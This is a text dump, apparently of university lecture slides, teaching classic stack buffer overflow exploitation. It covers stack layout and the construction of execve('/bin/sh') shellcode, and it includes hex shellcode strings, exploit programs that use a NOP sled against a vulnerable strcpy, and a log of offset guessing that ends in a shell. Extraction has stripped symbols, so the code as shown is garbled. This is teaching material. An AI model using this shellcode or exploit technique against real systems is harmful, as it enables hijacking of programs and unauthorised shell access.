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Buffer Overflow

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Buffer Overflow. Prabhaker Mateti. Wright State University. example3.c ... memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory. buffer sfp ret a b c ... – PowerPoint PPT presentation

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Title: Buffer Overflow


1
Buffer Overflow
  • Prabhaker Mateti
  • Wright State University

2
example3.c
void function(int a, int b, int c) char
buffer15 char buffer210 int ret
ret buffer1 12 (ret) 8 void
main() int x x 0 function(1,2,3)
x 1 printf("d\n",x)
3
Stack Layout Within function()
bottom of
top of memory

memory buffer2 buffer1 sfp
ret a b c lt------
top of

bottom of stack
stack
4
Example3.c main() in assembler
0x8000490 ltmaingt pushl ebp 0x8000491
ltmain1gt movl esp,ebp 0x8000493
ltmain3gt subl 0x4,esp 0x8000496
ltmain6gt movl 0x0,0xfffffffc(ebp) 0x80004
9d ltmain13gt pushl 0x3 0x800049f ltmain15gt
pushl 0x2 0x80004a1 ltmain17gt pushl
0x1 0x80004a3 ltmain19gt call 0x8000470
ltfunctiongt 0x80004a8 ltmain24gt addl
0xc,esp 0x80004ab ltmain27gt movl
0x1,0xfffffffc(ebp) 0x80004b2 ltmain34gt
movl 0xfffffffc(ebp),eax 0x80004b5 ltmain37gt
pushl eax 0x80004b6 ltmain38gt pushl
0x80004f8 0x80004bb ltmain43gt call
0x8000378 ltprintfgt 0x80004c0 ltmain48gt addl
0x8,esp 0x80004c3 ltmain51gt movl
ebp,esp 0x80004c5 ltmain53gt popl
ebp 0x80004c6 ltmain54gt ret 0x80004c7
ltmain55gt nop
5
execve() exit(0)
  • Null terminated string "/bin/sh" somewhere.
  • Address of the string "/bin/sh" somewhere
    followed by a null pointer.
  • EAX register 0xB
  • EBX register address of address of "/bin/sh"
  • ECX register address of "/bin/sh"
  • EDX register address of the null pointer.
  • Execute the int 0x80 instruction.
  • Copy 0x1 into the EAX register.
  • Copy 0x0 into the EBX register.
  • Execute the int 0x80 instruction.

6
execve(argv0, argv, NULL)exit(0)
movl string_addr,string_addr_addr movb
0x0,null_byte_addr movl 0x0,null_addr movl
0xb,eax movl string_addr,ebx leal
string_addr,ecx leal null_string,edx int
0x80 movl 0x1, eax movl 0x0, ebx int
0x80 /bin/sh string goes here.
7
Stack after ret is overwritten
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF
FFFF FFFF top of memory
89ABCDEF0123456789AB CDEF 0123 4567 89AB
CDEF memory buffer
sfp ret a b c lt------
JJSSSSSSSSSSSSSSCCssssss0xD80x010x020x0
3
_________________________ (1)
(2) _____________
______________ (3) top of
bottom
of stack
stack
8
Shell Code Outline
jmp offset-to-call 2 bytes popl
esi 1 byte movl
esi,array-offset(esi) 3 bytes movb
0x0,nullbyteoffset(esi) 4 bytes movl
0x0,null-offset(esi) 7 bytes movl
0xb,eax 5 bytes movl
esi,ebx 2 bytes leal
array-offset,(esi),ecx 3 bytes leal
null-offset(esi),edx 3 bytes int 0x80
2 bytes movl 0x1, eax
5 bytes movl 0x0, ebx 5 bytes int
0x80 2 bytes call offset-to-popl
5 bytes /bin/sh string goes here.
9
Shell code
jmp 0x26 2 bytes popl
esi 1 byte movl
esi,0x8(esi) 3 bytes movb
0x0,0x7(esi) 4 bytes movl 0x0,0xc(esi)
7 bytes movl 0xb,eax
5 bytes movl esi,ebx 2
bytes leal 0x8(esi),ecx 3
bytes leal 0xc(esi),edx 3
bytes int 0x80 2
bytes movl 0x1, eax 5
bytes movl 0x0, ebx 5 bytes int
0x80 2 bytes call -0x2b
5 bytes .string "/bin/sh" 8 bytes
10
testsc.c
char shellcode "\xeb\x2a\x5e\x89\x76\x08\xc6\x
46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\
x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x8
0" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x
80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\
x68\x00\x89\xec\x5d\xc3" void main() int
ret ret (int ) ret 2 (ret)
(int) shellcode -------------------------------
---------------------------------- aleph1 gcc
-o testsc testsc.c aleph1 ./testsc
exit aleph1
11
Eliminate 00 bytes
Problem instruction Substitute
with --------------------------------------------
------------ movb 0x0,0x7(esi)
xorl eax,eax movl 0x0,0xc(esi)
movb eax,0x7(esi)
movl eax,0xc(esi) ---------------
----------------------------------------- movl
0xb,eax movb
0xb,al -----------------------------------------
--------------- movl 0x1, eax
xorl ebx,ebx movl 0x0, ebx
movl ebx,eax inc eax --------------
------------------------------------------
12
exploit1.c
char shellcode "\xeb\x1f\x5e\x89\x76\x08
\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\
x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/b
in/sh" char large_string128 void main()
char buffer96 int i long long_ptr
(long ) large_string for (i 0 i lt 32
i) (long_ptr i) (int) buffer for (i
0 i lt strlen(shellcode) i)
large_stringi shellcodei
strcpy(buffer,large_string) -------------------
--------------------------------------------------
aleph1 ./exploit1
13
Current Value of SP
unsigned long get_sp(void) __asm__("movl
esp,eax") void main() printf("0xx\n",
get_sp()) -------------------------------------
--- aleph1 ./sp 0x8000470
14
vulnerable.c
void main(int argc, char argv) char
buffer512 if (argc gt 1)
strcpy(buffer,argv1)
15
exploit2.c
void main(int argc, char argv) bsize
atoi(argv1) offset atoi(argv2) addr
get_sp() - offset buff malloc(bsize)
addr_ptr (long ) buff for (i 0 i lt
bsize i4) (addr_ptr) addr ptr
buf 4 for (i 0 i lt strlen(shellcode)
i) (ptr) shellcodei buffbsize -
1 '\0' memcpy(buff,"EGG",4)
putenv(buff) system("/bin/bash")
16
Guessing buffer size and offset
aleph1 ./exploit2 600 aleph1 ./vulnerable
EGG Illegal instruction aleph1 exit aleph1
./exploit2 600 100 aleph1 ./vulnerable
EGG Segmentation fault aleph1 exit aleph1
./exploit2 600 200 aleph1 ./vulnerable
EGG Segmentation fault aleph1
exit . . . aleph1 ./exploit2 600
1564 aleph1 ./vulnerable EGG ... new shell
...
17
exploit3.c
void main(int argc, char argv) bsize
atoi(argv1) offset atoi(argv2) addr
get_sp() - offset buff malloc(bsize)
addr_ptr (long ) buff for (i 0 i lt
bsize i 4) (addr_ptr) addr for (i
0 i lt bsize/2 i) buffi NOP ptr
buff bsize/2 - strlen(shellcode)/2
memcpy(ptr, shellcode, strlen(shellcode))
buffbsize - 1 '\0' memcpy(buff,"EGG",4)
putenv(buff) system("/bin/bash")
18
Stack after ret is overwritten
bottom of DDDDDDDDDDDDEEEEEEEEEEEE EEEE FFFF
FFFF FFFF FFFF top of memory
456789ABCDEF0123456789AB CDEF 0123 4567 89AB
CDEF memory buffer
sfp ret a b c lt------
NNNNJJSSSSSSSSSSSSSSCCssssss0xD50x010x02
0x03
_____________________________
(1) (2) ______________
______________ (3) top of
bottom
of stack
stack
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